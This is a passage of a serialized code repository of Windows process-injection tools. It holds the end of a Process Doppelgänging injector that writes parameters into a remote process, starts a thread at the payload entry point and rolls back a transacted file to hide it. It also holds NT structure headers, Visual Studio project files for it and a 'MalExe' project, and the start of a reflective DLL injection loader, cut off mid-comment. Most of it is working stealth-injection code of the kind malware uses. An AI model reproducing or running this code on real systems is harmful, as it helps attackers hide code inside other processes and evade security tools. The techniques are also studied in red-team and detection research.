RemoteProcessParams);\n\n\tret=WriteProcessMemory(hProcess, ProcessParams, ProcessParams, ProcessParams->EnvironmentSize + ProcessParams->MaximumLength,NULL);\n\tif (FALSE == NT_SUCCESS(ret))\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] writing our paramters to the process\\n\");\n\n\tmy_NtQueryInformationProcess queryInformationProcess = (my_NtQueryInformationProcess)GetProcAddress(hNtdll, \"NtQueryInformationProcess\");\n\tif (NULL == queryInformationProcess)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] Got NtQueryInformationProcess 0x%08p\\n\", queryInformationProcess);\n\n\tPROCESS_BASIC_INFORMATION info;\n\n\tret = queryInformationProcess(\n\t\thProcess,\n\t\tProcessBasicInformation,\n\t\t&info,\n\t\tsizeof(info),\n\t\t0);\n\n\tif (FALSE == NT_SUCCESS(ret))\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\n\tPEB *peb = info.PebBaseAddress;\n\n\tret=WriteProcessMemory(hProcess, &peb->ProcessParameters, &ProcessParams, sizeof(LPVOID), NULL);\n\tif (FALSE == NT_SUCCESS(ret))\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] writing our paramters to the process peb 0x%08p\\n\", peb);\n\n\tHANDLE hThread;\n\tret = createThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)oep, NULL, FALSE, 0, 0, 0, NULL);\n\tprintf(\"[+] Thread created with handle %x\\n\", hThread);\n\tif (FALSE == NT_SUCCESS(ret))\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tif (FALSE == RollbackTransaction(hTransaction))\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] rolling back the original %s\\n\", fileFullPath);\n\n\tCloseHandle(hProcess);\n\tCloseHandle(hExe);\n\tCloseHandle(hTransactedFile);\n\tCloseHandle(hTransaction);\n\n getchar();\n\treturn 0;\n}" }, { "path": "Inject/ProcessDoppelgänging/processrefund/ntdefs.h", "content": "#pragma once\n#include \n#include \n#include \n#include \n\n#define RTL_MAX_DRIVE_LETTERS 32\n#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001\n\ntypedef struct _UNICODE_STRING_DWORD64\n{\n\tWORD Length;\n\tWORD MaximumLength;\n\tDWORD64 Buffer;\n} UNICODE_STRING64, STRING64, *PSTRING64;\n\nstruct _LIST_ENTRY_DWORD64\n{\n\tDWORD64 Flink;\n\tDWORD64 Blink;\n};\n\ntypedef struct _CURDIR_64\n{\n\tUNICODE_STRING64 DosPath;\n\tUINT64 Handle;\n} CURDIR64, *PCURDIR64;\ntypedef struct _RTL_DRIVE_LETTER_CURDIR_64\n{\n\tWORD Flags;\n\tWORD Length;\n\tULONG TimeStamp;\n\tSTRING64 DosPath;\n} RTL_DRIVE_LETTER_CURDIR64, *PRTL_DRIVE_LETTER_CURDIR64;\ntypedef struct _RTL_USER_PROCESS_PARAMETERS_64\n{\n\tULONG MaximumLength;\n\tULONG Length;\n\tULONG Flags;\n\tULONG DebugFlags;\n\tUINT64 ConsoleHandle;\n\tULONG ConsoleFlags;\n\tUINT64 StandardInput;\n\tUINT64 StandardOutput;\n\tUINT64 StandardError;\n\tCURDIR64 CurrentDirectory;\n\tUNICODE_STRING64 DllPath;\n\tUNICODE_STRING64 ImagePathName;\n\tUNICODE_STRING64 CommandLine;\n\tUINT64 Environment;\n\tULONG StartingX;\n\tULONG StartingY;\n\tULONG CountX;\n\tULONG CountY;\n\tULONG CountCharsX;\n\tULONG CountCharsY;\n\tULONG FillAttribute;\n\tULONG WindowFlags;\n\tULONG ShowWindowFlags;\n\tUNICODE_STRING64 WindowTitle;\n\tUNICODE_STRING64 DesktopInfo;\n\tUNICODE_STRING64 ShellInfo;\n\tUNICODE_STRING64 RuntimeData;\n\tRTL_DRIVE_LETTER_CURDIR64 CurrentDirectores[32];\n\tULONG EnvironmentSize;\n} RTL_USER_PROCESS_PARAMETERS64, *PRTL_USER_PROCESS_PARAMETERS64;\n\n\ntypedef struct _CURDIR\n{\n\tUNICODE_STRING DosPath;\n\tHANDLE Handle;\n} CURDIR, *PCURDIR;\ntypedef struct _RTL_DRIVE_LETTER_CURDIR\n{\n\tUSHORT Flags;\n\tUSHORT Length;\n\tULONG TimeStamp;\n\tUNICODE_STRING DosPath;\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\n\ntypedef struct my_RTL_USER_PROCESS_PARAMETERS\n{\n\tULONG MaximumLength;\n\tULONG Length;\n\n\tULONG Flags;\n\tULONG DebugFlags;\n\n\tHANDLE ConsoleHandle;\n\tULONG ConsoleFlags;\n\tHANDLE StandardInput;\n\tHANDLE StandardOutput;\n\tHANDLE StandardError;\n\n\tCURDIR CurrentDirectory;\n\tUNICODE_STRING DllPath;\n\tUNICODE_STRING ImagePathName;\n\tUNICODE_STRING CommandLine;\n\tPVOID Environment;\n\n\tULONG StartingX;\n\tULONG StartingY;\n\tULONG CountX;\n\tULONG CountY;\n\tULONG CountCharsX;\n\tULONG CountCharsY;\n\tULONG FillAttribute;\n\n\tULONG WindowFlags;\n\tULONG ShowWindowFlags;\n\tUNICODE_STRING WindowTitle;\n\tUNICODE_STRING DesktopInfo;\n\tUNICODE_STRING ShellInfo;\n\tUNICODE_STRING RuntimeData;\n\tRTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];\n\n\tULONG_PTR EnvironmentSize;\n\tULONG_PTR EnvironmentVersion;\n\tPVOID PackageDependencyData;\n\tULONG ProcessGroupId;\n\tULONG LoaderThreads;\n} my_RTL_USER_PROCESS_PARAMETERS, *my_PRTL_USER_PROCESS_PARAMETERS;\n\ntypedef struct _PROCESS_BASIC_INFORMATION64 {\n\tNTSTATUS ExitStatus;\n\tUINT32 Reserved0;\n\tUINT64 PebBaseAddress;\n\tUINT64 AffinityMask;\n\tUINT32 BasePriority;\n\tUINT32 Reserved1;\n\tUINT64 UniqueProcessId;\n\tUINT64 InheritedFromUniqueProcessId;\n} PROCESS_BASIC_INFORMATION64;\ntypedef struct _PEB64\n{\n\n\tunion\n\t{\n\t\tstruct\n\t\t{\n\t\t\tBYTE InheritedAddressSpace;\n\t\t\tBYTE ReadImageFileExecOptions;\n\t\t\tBYTE BeingDebugged;\n\t\t\tBYTE BitField;\n\t\t};\n\t\tDWORD64 dummy01;\n\t};\n\tDWORD64 Mutant;\n\t DWORD64 ImageBaseAddress;\n\t DWORD64 Ldr;\n\t DWORD64 ProcessParameters;\n\t DWORD64 SubSystemData;\n\t DWORD64 ProcessHeap;\n\t DWORD64 FastPebLock;\n\t DWORD64 AtlThunkSListPtr;\n\t DWORD64 IFEOKey;\n\t DWORD64 CrossProcessFlags;\n\t DWORD64 UserSharedInfoPtr;\n\tDWORD SystemReserved;\n\tDWORD AtlThunkSListPtr32;\n\t DWORD64 ApiSetMap;\n\t DWORD64 TlsExpansionCounter;\n\t DWORD64 TlsBitmap;\n\tDWORD TlsBitmapBits[2];\n\t DWORD64 ReadOnlySharedMemoryBase;\n\t DWORD64 HotpatchInformation;\n\t DWORD64 ReadOnlyStaticServerData;\n\t DWORD64 AnsiCodePageData;\n\t DWORD64 OemCodePageData;\n\t DWORD64 UnicodeCaseTableData;\n\tDWORD NumberOfProcessors;\n\tunion\n\t{\n\t\tDWORD NtGlobalFlag;\n\t\tDWORD dummy02;\n\t};\n\tLARGE_INTEGER CriticalSectionTimeout;\n\t DWORD64 HeapSegmentReserve;\n\t DWORD64 HeapSegmentCommit;\n\t DWORD64 HeapDeCommitTotalFreeThreshold;\n\t DWORD64 HeapDeCommitFreeBlockThreshold;\n\tDWORD NumberOfHeaps;\n\tDWORD MaximumNumberOfHeaps;\n\t DWORD64 ProcessHeaps;\n\t DWORD64 GdiSharedHandleTable;\n\t DWORD64 ProcessStarterHelper;\n\t DWORD64 GdiDCAttributeList;\n\t DWORD64 LoaderLock;\n\tDWORD OSMajorVersion;\n\tDWORD OSMinorVersion;\n\tWORD OSBuildNumber;\n\tWORD OSCSDVersion;\n\tDWORD OSPlatformId;\n\tDWORD ImageSubsystem;\n\tDWORD ImageSubsystemMajorVersion;\n\t DWORD64 ImageSubsystemMinorVersion;\n\t DWORD64 ActiveProcessAffinityMask;\n\t DWORD64 GdiHandleBuffer[30];\n\t DWORD64 PostProcessInitRoutine;\n\t DWORD64 TlsExpansionBitmap;\n\tDWORD TlsExpansionBitmapBits[32];\n\t DWORD64 SessionId;\n\tULARGE_INTEGER AppCompatFlags;\n\tULARGE_INTEGER AppCompatFlagsUser;\n\t DWORD64 pShimData;\n\t DWORD64 AppCompatInfo;\n\t struct _UNICODE_STRING_DWORD64 CSDVersion;\n\t DWORD64 ActivationContextData;\n\t DWORD64 ProcessAssemblyStorageMap;\n\t DWORD64 SystemDefaultActivationContextData;\n\t DWORD64 SystemAssemblyStorageMap;\n\t DWORD64 MinimumStackCommit;\n\t DWORD64 FlsCallback;\n\t struct _LIST_ENTRY_DWORD64 FlsListHead;\n\t DWORD64 FlsBitmap;\n\tDWORD FlsBitmapBits[4];\n\t DWORD64 FlsHighIndex;\n\t DWORD64 WerRegistrationData;\n\t DWORD64 WerShipAssertPtr;\n\t DWORD64 pContextData;\n\t DWORD64 pImageHeaderHash;\n\t DWORD64 TracingFlags;\n\t DWORD64 CsrServerReadOnlySharedMemoryBase;\n} PEB64;\n\n\n\n\n\n\ntypedef\nNTSTATUS(WINAPI *pfnNtWow64QueryInformationProcess64)\n(HANDLE ProcessHandle, UINT32 ProcessInformationClass,\n\tPVOID ProcessInformation, UINT32 ProcessInformationLength,\n\tUINT32* ReturnLength);\n\ntypedef\nNTSTATUS(WINAPI *pfnNtWow64ReadVirtualMemory64)\n(HANDLE ProcessHandle, PVOID64 BaseAddress,\n\tPVOID BufferData, UINT64 BufferLength,\n\tPUINT64 ReturnLength);\n\ntypedef\nNTSTATUS(WINAPI *pfnNtQueryInformationProcess)\n(HANDLE ProcessHandle, ULONG ProcessInformationClass,\n\tPVOID ProcessInformation, UINT32 ProcessInformationLength,\n\tUINT32* ReturnLength);\ntypedef NTSTATUS(NTAPI *NtResumeThread)(\n\t_In_ HANDLE ThreadHandle,\n\t_Out_opt_ PULONG SuspendCount\n\t);\n\ntypedef NTSTATUS(NTAPI *my_NtQueryInformationProcess)(\n\tIN HANDLE ProcessHandle,\n\tIN PROCESSINFOCLASS ProcessInformationClass,\n\tOUT PVOID ProcessInformation,\n\tIN ULONG ProcessInformationLength,\n\tOUT PULONG ReturnLength OPTIONAL\n\t);\ntypedef NTSTATUS(NTAPI *my_NtWow64QueryInformationProcess64)\n(\n\tIN HANDLE ProcessHandle,\n\tIN ULONG ProcessInformationClass,\n\tOUT PVOID ProcessInformation64,\n\tIN ULONG Length,\n\tOUT PULONG ReturnLength OPTIONAL\n\t);\n\ntypedef NTSTATUS(NTAPI *RtlCreateProcessParametersEx)(\n\t_Out_ my_PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,\n\t_In_ PUNICODE_STRING ImagePathName,\n\t_In_opt_ PUNICODE_STRING DllPath,\n\t_In_opt_ PUNICODE_STRING CurrentDirectory,\n\t_In_opt_ PUNICODE_STRING CommandLine,\n\t_In_opt_ PVOID Environment,\n\t_In_opt_ PUNICODE_STRING WindowTitle,\n\t_In_opt_ PUNICODE_STRING DesktopInfo,\n\t_In_opt_ PUNICODE_STRING ShellInfo,\n\t_In_opt_ PUNICODE_STRING RuntimeData,\n\t_In_ ULONG Flags // pass RTL_USER_PROC_PARAMS_NORMALIZED to keep parameters normalized\n\t);\n\ntypedef NTSTATUS(NTAPI *NtCreateThreadEx)(\n\tOUT PHANDLE hThread,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN LPVOID ObjectAttributes,\n\tIN HANDLE ProcessHandle,\n\tIN LPTHREAD_START_ROUTINE lpStartAddress,\n\tIN LPVOID lpParameter,\n\tIN BOOL CreateSuspended,\n\tIN DWORD StackZeroBits,\n\tIN DWORD SizeOfStackCommit,\n\tIN DWORD SizeOfStackReserve,\n\tOUT LPVOID lpBytesBuffer\n\t);\n\n\ntypedef NTSTATUS(NTAPI *NtCreateSection)(\n\t_Out_ PHANDLE SectionHandle,\n\t_In_ ACCESS_MASK DesiredAccess,\n\t_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n\t_In_opt_ PLARGE_INTEGER MaximumSize,\n\t_In_ ULONG SectionPageProtection,\n\t_In_ ULONG AllocationAttributes,\n\t_In_opt_ HANDLE FileHandle\n\t);\n\n\ntypedef NTSTATUS(NTAPI *NtCreateProcessEx)\n(\n\tOUT PHANDLE ProcessHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n\tIN HANDLE ParentProcess,\n\tIN ULONG Flags,\n\tIN HANDLE SectionHandle OPTIONAL,\n\tIN HANDLE DebugPort OPTIONAL,\n\tIN HANDLE ExceptionPort OPTIONAL,\n\tIN BOOLEAN InJob\n\t);\ntypedef VOID (NTAPI *my_RtlInitUnicodeString)(\n\t_Out_ PUNICODE_STRING DestinationString,\n\t_In_opt_ PCWSTR SourceString\n);\ntypedef POBJECT_ATTRIBUTES(NTAPI *BaseFormatObjectAttributes)(OUT POBJECT_ATTRIBUTES ObjectAttributes,\n\tIN PSECURITY_ATTRIBUTES SecurityAttributes OPTIONAL,\n\tIN PUNICODE_STRING ObjectName,\n\tOUT PDWORD NumberOfBytes);\n\n//\n// NtCreateProcessEx flags\n//\n#define PS_REQUEST_BREAKAWAY 1\n#define PS_NO_DEBUG_INHERIT 2\n#define PS_INHERIT_HANDLES 4\n#define PS_UNKNOWN_VALUE 8\n#define PS_ALL_FLAGS PS_REQUEST_BREAKAWAY |PS_NO_DEBUG_INHERIT |PS_INHERIT_HANDLES | PS_UNKNOWN_VALUE\n\n" }, { "path": "Inject/ProcessDoppelgänging/processrefund/processrefund.vcxproj", "content": "\n\n \n \n Debug\n Win32\n \n \n Release\n Win32\n \n \n Debug\n x64\n \n \n Release\n x64\n \n \n \n {DA9D5E53-6160-4B44-A770-903C8C4C621D}\n processrefund\n 8.1\n \n \n \n Application\n true\n v140\n MultiByte\n \n \n Application\n false\n v140\n true\n MultiByte\n \n \n Application\n true\n v140\n MultiByte\n \n \n Application\n false\n v140\n true\n MultiByte\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Level3\n Disabled\n true\n MultiThreadedDebug\n \n \n kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;KtmW32.lib;%(AdditionalDependencies)\n false\n false\n true\n \n \n \n \n Level3\n Disabled\n true\n MultiThreadedDebug\n \n \n kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;ktmw32.lib;%(AdditionalDependencies)\n \n \n \n \n Level3\n MaxSpeed\n true\n true\n true\n \n \n true\n true\n \n \n \n \n Level3\n MaxSpeed\n true\n true\n true\n \n \n true\n true\n \n \n \n \n \n \n \n \n \n \n \n" }, { "path": "Inject/ProcessDoppelgänging/processrefund/processrefund.vcxproj.filters", "content": "\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hh;hpp;hxx;hm;inl;inc;xsd\n \n \n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\n \n \n \n \n Source Files\n \n \n \n \n Header Files\n \n \n" }, { "path": "Inject/ProcessDoppelgänging/processrefund.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 14\nVisualStudioVersion = 14.0.25420.1\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"processrefund\", \"processrefund\\processrefund.vcxproj\", \"{DA9D5E53-6160-4B44-A770-903C8C4C621D}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"MalExe\", \"MalExe\\MalExe.vcxproj\", \"{81FCF866-89C7-466B-A52B-3A41A45BC9E0}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{DA9D5E53-6160-4B44-A770-903C8C4C621D}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{DA9D5E53-6160-4B44-A770-903C8C4C621D}.Debug|x64.Build.0 = Debug|x64\n\t\t{DA9D5E53-6160-4B44-A770-903C8C4C621D}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{DA9D5E53-6160-4B44-A770-903C8C4C621D}.Debug|x86.Build.0 = Debug|Win32\n\t\t{DA9D5E53-6160-4B44-A770-903C8C4C621D}.Release|x64.ActiveCfg = Release|x64\n\t\t{DA9D5E53-6160-4B44-A770-903C8C4C621D}.Release|x64.Build.0 = Release|x64\n\t\t{DA9D5E53-6160-4B44-A770-903C8C4C621D}.Release|x86.ActiveCfg = Release|Win32\n\t\t{DA9D5E53-6160-4B44-A770-903C8C4C621D}.Release|x86.Build.0 = Release|Win32\n\t\t{81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Debug|x64.Build.0 = Debug|x64\n\t\t{81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Debug|x86.Build.0 = Debug|Win32\n\t\t{81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Release|x64.ActiveCfg = Release|x64\n\t\t{81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Release|x64.Build.0 = Release|x64\n\t\t{81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Release|x86.ActiveCfg = Release|Win32\n\t\t{81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "Inject/ReflectiveDLLInjection/ReadMe.txt", "content": "Save ReflectiveDLLInjection to load dll no need to call loadlibrary.\n\nhttps://github.com/stephenfewer/ReflectiveDLLInjection" }, { "path": "Inject/ReflectiveDLLInjection/dll/reflective_dll.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual Studio 2010\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"reflective_dll\", \"reflective_dll.vcxproj\", \"{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tRelease|Win32 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32\n\t\t{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32\n\t\t{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "Inject/ReflectiveDLLInjection/dll/reflective_dll.vcxproj", "content": "\n\n \n \n Debug\n Win32\n \n \n Debug\n x64\n \n \n Release\n Win32\n \n \n Release\n x64\n \n \n \n {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}\n reflective_dll\n Win32Proj\n \n \n \n DynamicLibrary\n MultiByte\n true\n \n \n DynamicLibrary\n Unicode\n \n \n DynamicLibrary\n MultiByte\n false\n \n \n DynamicLibrary\n Unicode\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n <_ProjectFileVersion>10.0.30319.1\n $(SolutionDir)$(Configuration)\\\n $(Configuration)\\\n true\n $(SolutionDir)$(Platform)\\$(Configuration)\\\n $(Platform)\\$(Configuration)\\\n true\n $(SolutionDir)$(Configuration)\\\n $(Configuration)\\\n false\n $(SolutionDir)$(Platform)\\$(Configuration)\\\n $(Platform)\\$(Configuration)\\\n false\n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n \n \n \n Disabled\n WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)\n true\n EnableFastChecks\n MultiThreadedDebugDLL\n \n \n Level3\n EditAndContinue\n \n \n true\n Windows\n MachineX86\n \n \n \n \n X64\n \n \n Disabled\n WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)\n true\n EnableFastChecks\n MultiThreadedDebugDLL\n \n \n Level3\n ProgramDatabase\n \n \n true\n Windows\n MachineX64\n \n \n \n \n MaxSpeed\n OnlyExplicitInline\n true\n WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)\n MultiThreaded\n true\n \n \n Level3\n ProgramDatabase\n \n \n true\n Windows\n true\n true\n MachineX86\n \n \n copy ..\\Release\\reflective_dll.dll ..\\bin\\\n \n \n \n \n X64\n \n \n MaxSpeed\n OnlyExplicitInline\n true\n Size\n false\n WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)\n MultiThreaded\n true\n \n \n Level3\n ProgramDatabase\n CompileAsCpp\n \n \n $(OutDir)$(ProjectName).x64.dll\n true\n Windows\n true\n true\n MachineX64\n \n \n copy $(OutDir)$(ProjectName).x64.dll ..\\bin\\\n \n \n \n \n \n \n \n \n \n \n \n \n \n" }, { "path": "Inject/ReflectiveDLLInjection/dll/reflective_dll.vcxproj.filters", "content": "\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hpp;hxx;hm;inl;inc;xsd\n \n \n \n \n Source Files\n \n \n Source Files\n \n \n \n \n Header Files\n \n \n Header Files\n \n \n" }, { "path": "Inject/ReflectiveDLLInjection/dll/src/ReflectiveDLLInjection.h", "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are permitted \n// provided that the following conditions are met:\n// \n// * Redistributions of source code must retain the above copyright notice, this list of \n// conditions and the following disclaimer.\n// \n// * Redistributions in binary form must reproduce the above copyright notice, this list of \n// conditions and the following disclaimer in the documentation and/or other materials provided \n// with the distribution.\n// \n// * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H\n#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H\n//===============================================================================================//\n#define WIN32_LEAN_AND_MEAN\n#include \n\n// we declare some common stuff in here...\n\n#define DLL_QUERY_HMODULE 6\n\n#define DEREF( name )*(UINT_PTR *)(name)\n#define DEREF_64( name )*(DWORD64 *)(name)\n#define DEREF_32( name )*(DWORD *)(name)\n#define DEREF_16( name )*(WORD *)(name)\n#define DEREF_8( name )*(BYTE *)(name)\n\ntypedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );\ntypedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );\n\n#define DLLEXPORT __declspec( dllexport ) \n\n//===============================================================================================//\n#endif\n//===============================================================================================//\n" }, { "path": "Inject/ReflectiveDLLInjection/dll/src/ReflectiveDll.c", "content": "//===============================================================================================//\n// This is a stub for the actuall functionality of the DLL.\n//===============================================================================================//\n#include \"ReflectiveLoader.h\"\n\n// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are\n// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own \n// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.\n\n// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)\nextern HINSTANCE hAppInstance;\n//===============================================================================================//\nBOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )\n{\n BOOL bReturnValue = TRUE;\n switch( dwReason ) \n { \n case DLL_QUERY_HMODULE:\n if( lpReserved != NULL )\n *(HMODULE *)lpReserved = hAppInstance;\n break;\n case DLL_PROCESS_ATTACH:\n hAppInstance = hinstDLL;\n MessageBoxA( NULL, \"Hello from DllMain!\", \"Reflective Dll Injection\", MB_OK );\n break;\n case DLL_PROCESS_DETACH:\n case DLL_THREAD_ATTACH:\n case DLL_THREAD_DETACH:\n break;\n }\n return bReturnValue;\n}" }, { "path": "Inject/ReflectiveDLLInjection/dll/src/ReflectiveLoader.c", "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are permitted \n// provided that the following conditions are met:\n// \n// * Redistributions of source code must retain the above copyright notice, this list of \n// conditions and the following disclaimer.\n// \n// * Redistributions in binary form must reproduce the above copyright notice, this list of \n// conditions and the following disclaimer in the documentation and/or other materials provided \n// with the distribution.\n// \n// * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#include \"ReflectiveLoader.h\"\n//===============================================================================================//\n// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value\nHINSTANCE hAppInstance = NULL;\n//===============================================================================================//\n#pragma intrinsic( _ReturnAddress )\n// This function can not be inlined by the compiler or we will not get the address we expect. Ideally \n// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of \n// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics \n// available (and no inline 